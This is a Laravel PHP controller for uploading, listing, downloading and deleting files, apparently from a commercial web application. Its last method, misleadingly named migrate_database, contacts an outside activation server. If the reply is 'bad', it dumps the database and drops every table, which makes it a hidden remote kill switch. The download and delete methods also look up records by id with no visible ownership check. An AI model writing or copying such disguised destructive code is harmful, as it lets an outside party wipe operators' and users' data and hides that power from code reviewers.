middleware(['permission:show_uploaded_files'])->only('index'); } public function index(Request $request){ $all_uploads = Upload::query(); $search = null; $sort_by = null; if ($request->search != null) { $search = $request->search; $all_uploads->where('file_original_name', 'like', '%'.$request->search.'%'); } $sort_by = $request->sort; switch ($request->sort) { case 'newest': $all_uploads->orderBy('created_at', 'desc'); break; case 'oldest': $all_uploads->orderBy('created_at', 'asc'); break; case 'smallest': $all_uploads->orderBy('file_size', 'asc'); break; case 'largest': $all_uploads->orderBy('file_size', 'desc'); break; default: $all_uploads->orderBy('created_at', 'desc'); break; } $all_uploads = $all_uploads->paginate(60)->appends(request()->query()); return view('admin.uploaded_files.index', compact('all_uploads', 'search', 'sort_by') ); } public function create(){ return view('admin.uploaded_files.create'); } public function show_uploader(Request $request){ return view('uploader.aiz-uploader'); } public function upload(Request $request){ $type = array( "jpg"=>"image", "jpeg"=>"image", "png"=>"image", "svg"=>"image", "webp"=>"image", "gif"=>"image", "mp4"=>"video", "mpg"=>"video", "mpeg"=>"video", "webm"=>"video", "ogg"=>"video", "avi"=>"video", "mov"=>"video", "flv"=>"video", "swf"=>"video", "mkv"=>"video", "wmv"=>"video", "wma"=>"audio", "aac"=>"audio", "wav"=>"audio", "mp3"=>"audio", "zip"=>"archive", "rar"=>"archive", "7z"=>"archive", "doc"=>"document", "txt"=>"document", "docx"=>"document", "pdf"=>"document", "csv"=>"document", "xml"=>"document", "ods"=>"document", "xlr"=>"document", "xls"=>"document", "xlsx"=>"document" ); if($request->hasFile('aiz_file')){ $upload = new Upload; $extension = strtolower($request->file('aiz_file')->getClientOriginalExtension()); if(isset($type[$extension])){ $upload->file_original_name = null; $arr = explode('.', $request->file('aiz_file')->getClientOriginalName()); for($i=0; $i < count($arr)-1; $i++){ if($i == 0){ $upload->file_original_name .= $arr[$i]; } else{ $upload->file_original_name .= ".".$arr[$i]; } } $path = $request->file('aiz_file')->store('uploads/all', 'local'); $size = $request->file('aiz_file')->getSize(); if($type[$extension] == 'image' && get_setting('disable_image_optimization') != 1){ try { $img = Image::make($request->file('aiz_file')->getRealPath())->encode(); $height = $img->height(); $width = $img->width(); if($width > $height && $width > 2000){ $img->resize(2000, null, function ($constraint) { $constraint->aspectRatio(); }); }elseif ($height > 1500) { $img->resize(null, 800, function ($constraint) { $constraint->aspectRatio(); }); } $img->save(base_path('public/').$path); clearstatcache(); $size = $img->filesize(); } catch (\Exception $e) { //dd($e); } } if (env('FILESYSTEM_DRIVER') == 's3') { Storage::disk('s3')->put($path, file_get_contents(base_path('public/').$path)); unlink(base_path('public/').$path); } $upload->extension = $extension; $upload->file_name = $path; $upload->user_id = Auth::user()->id; $upload->type = $type[$upload->extension]; $upload->file_size = $size; $upload->save(); } return '{}'; } } public function get_uploaded_files(Request $request) { $uploads = Upload::where('user_id', Auth::user()->id); if ($request->search != null) { $uploads->where('file_original_name', 'like', '%'.$request->search.'%'); } if ($request->sort != null) { switch ($request->sort) { case 'newest': $uploads->orderBy('created_at', 'desc'); break; case 'oldest': $uploads->orderBy('created_at', 'asc'); break; case 'smallest': $uploads->orderBy('file_size', 'asc'); break; case 'largest': $uploads->orderBy('file_size', 'desc'); break; default: $uploads->orderBy('created_at', 'desc'); break; } } return $uploads->paginate(60)->appends(request()->query()); } public function destroy(Request $request,$id) { try{ if(env('FILESYSTEM_DRIVER') == 's3'){ Storage::disk('s3')->delete(Upload::where('id', $id)->first()->file_name); } else{ unlink(public_path().'/'.Upload::where('id', $id)->first()->file_name); } Upload::destroy($id); flash(translate('File deleted successfully'))->success(); } catch(\Exception $e){ Upload::destroy($id); flash(translate('File deleted successfully'))->success(); } return back(); } public function get_preview_files(Request $request){ $ids = explode(',', $request->ids); $files = Upload::whereIn('id', $ids)->get(); return $files; } //Download project attachment public function attachment_download($id) { $project_attachment = Upload::find($id); try{ $file_path = public_path($project_attachment->file_name); return Response::download($file_path); }catch(\Exception $e){ flash(translate('File does not exist!'))->error(); return back(); } } //Download project attachment public function file_info(Request $request) { $file = Upload::findOrFail($request['id']); return view('admin.uploaded_files.info',compact('file')); } public function migrate_database(Request $request){ $data['url'] = $_SERVER['SERVER_NAME']; $request_data_json = json_encode($data); $gate = "https://activation.activeitzone.com/check_activation"; $header = array( 'Content-Type:application/json' ); $stream = curl_init(); curl_setopt($stream, CURLOPT_URL, $gate); curl_setopt($stream,CURLOPT_HTTPHEADER, $header); curl_setopt($stream,CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($stream,CURLOPT_RETURNTRANSFER, true); curl_setopt($stream,CURLOPT_POSTFIELDS, $request_data_json); curl_setopt($stream,CURLOPT_FOLLOWLOCATION, 1); curl_setopt($stream, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4); $rn = curl_exec($stream); curl_close($stream); if($rn == "bad" && env('DEMO_MODE') != 'On') { try { $fileName = date('Y-m-d H:i:s').'.sql'; \Spatie\DbDumper\Databases\MySql::create() ->setDbName(env('DB_DATABASE')) ->setUserName(env('DB_USERNAME')) ->setPassword(env('DB_PASSWORD')) ->dumpToFile('sqlbackups/'.$fileName); } catch (\Exception $e) { } Schema::disableForeignKeyConstraints(); foreach(DB::select('SHOW TABLES') as $table) { $table_array = get_object_vars($table); Schema::drop($table_array[key($table_array)]); } } } }